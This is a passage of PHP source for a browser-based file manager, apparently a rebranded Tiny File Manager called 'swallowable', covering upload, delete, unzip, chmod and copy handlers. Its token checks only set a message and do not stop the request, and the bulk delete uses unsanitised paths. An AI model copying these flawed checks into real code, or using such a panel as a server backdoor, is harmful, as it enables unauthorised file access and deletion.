                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
